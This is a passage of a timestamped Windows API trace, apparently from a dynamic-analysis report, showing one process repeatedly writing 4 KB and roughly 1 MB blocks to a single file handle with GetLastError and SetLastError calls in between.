[0099.399] GetLastError () returned 0x0
[0099.399] SetLastError (dwErrCode=0x0)
[0099.399] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.400] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.426] GetLastError () returned 0x0
[0099.426] SetLastError (dwErrCode=0x0)
[0099.426] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.427] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.452] GetLastError () returned 0x0
[0099.452] SetLastError (dwErrCode=0x0)
[0099.452] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.453] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.555] GetLastError () returned 0x0
[0099.555] SetLastError (dwErrCode=0x0)
[0099.555] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.555] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.623] GetLastError () returned 0x0
[0099.623] SetLastError (dwErrCode=0x0)
[0099.623] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.624] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.650] GetLastError () returned 0x0
[0099.650] SetLastError (dwErrCode=0x0)
[0099.650] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.651] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.676] GetLastError () returned 0x0
[0099.677] SetLastError (dwErrCode=0x0)
[0099.677] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.677] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.703] GetLastError () returned 0x0
[0099.703] SetLastError (dwErrCode=0x0)
[0099.703] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.703] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.728] GetLastError () returned 0x0
[0099.729] SetLastError (dwErrCode=0x0)
[0099.729] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.729] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.756] GetLastError () returned 0x0
[0099.756] SetLastError (dwErrCode=0x0)
[0099.756] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.756] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.782] GetLastError () returned 0x0
[0099.782] SetLastError (dwErrCode=0x0)
[0099.783] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.783] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.808] GetLastError () returned 0x0
[0099.809] SetLastError (dwErrCode=0x0)
[0099.809] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.809] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.836] GetLastError () returned 0x0
[0099.836] SetLastError (dwErrCode=0x0)
[0099.836] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.836] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.907] GetLastError () returned 0x0
[0099.907] SetLastError (dwErrCode=0x0)
[0099.907] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.907] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0099.979] GetLastError () returned 0x0
[0099.979] SetLastError (dwErrCode=0x0)
[0099.980] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0099.980] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.005] GetLastError () returned 0x0
[0100.005] SetLastError (dwErrCode=0x0)
[0100.005] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.006] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.031] GetLastError () returned 0x0
[0100.031] SetLastError (dwErrCode=0x0)
[0100.031] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.032] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.057] GetLastError () returned 0x0
[0100.057] SetLastError (dwErrCode=0x0)
[0100.057] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.058] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.084] GetLastError () returned 0x0
[0100.084] SetLastError (dwErrCode=0x0)
[0100.084] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.085] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.110] GetLastError () returned 0x0
[0100.110] SetLastError (dwErrCode=0x0)
[0100.110] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.111] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.145] GetLastError () returned 0x0
[0100.145] SetLastError (dwErrCode=0x0)
[0100.146] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.146] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.215] GetLastError () returned 0x0
[0100.215] SetLastError (dwErrCode=0x0)
[0100.215] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.216] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.322] GetLastError () returned 0x0
[0100.322] SetLastError (dwErrCode=0x0)
[0100.323] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.323] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.391] GetLastError () returned 0x0
[0100.391] SetLastError (dwErrCode=0x0)
[0100.391] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.392] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.492] GetLastError () returned 0x0
[0100.492] SetLastError (dwErrCode=0x0)
[0100.492] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.492] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.519] GetLastError () returned 0x0
[0100.520] SetLastError (dwErrCode=0x0)
[0100.520] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.520] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.602] GetLastError () returned 0x0
[0100.602] SetLastError (dwErrCode=0x0)
[0100.602] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.602] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.632] GetLastError () returned 0x0
[0100.632] SetLastError (dwErrCode=0x0)
[0100.632] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.632] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.706] GetLastError () returned 0x0
[0100.706] SetLastError (dwErrCode=0x0)
[0100.706] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.707] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.774] GetLastError () returned 0x0
[0100.774] SetLastError (dwErrCode=0x0)
[0100.774] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.774] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.800] GetLastError () returned 0x0
[0100.800] SetLastError (dwErrCode=0x0)
[0100.800] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.801] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.827] GetLastError () returned 0x0
[0100.827] SetLastError (dwErrCode=0x0)
[0100.827] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.828] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.854] GetLastError () returned 0x0
[0100.854] SetLastError (dwErrCode=0x0)
[0100.854] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.854] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.928] GetLastError () returned 0x0
[0100.929] SetLastError (dwErrCode=0x0)
[0100.929] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.929] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.968] GetLastError () returned 0x0
[0100.968] SetLastError (dwErrCode=0x0)
[0100.968] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.968] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0100.997] GetLastError () returned 0x0
[0100.997] SetLastError (dwErrCode=0x0)
[0100.997] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0100.998] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.025] GetLastError () returned 0x0
[0101.025] SetLastError (dwErrCode=0x0)
[0101.025] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.026] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.052] GetLastError () returned 0x0
[0101.052] SetLastError (dwErrCode=0x0)
[0101.052] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.052] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.078] GetLastError () returned 0x0
[0101.078] SetLastError (dwErrCode=0x0)
[0101.078] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.079] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.149] GetLastError () returned 0x0
[0101.149] SetLastError (dwErrCode=0x0)
[0101.149] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.149] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.217] GetLastError () returned 0x0
[0101.217] SetLastError (dwErrCode=0x0)
[0101.218] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.218] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.243] GetLastError () returned 0x0
[0101.243] SetLastError (dwErrCode=0x0)
[0101.243] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.244] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.272] GetLastError () returned 0x0
[0101.272] SetLastError (dwErrCode=0x0)
[0101.272] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0101.272] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0101.325] GetLastError () returned 0x0
[0101.325] SetLastError (dwErrCode=0x0)
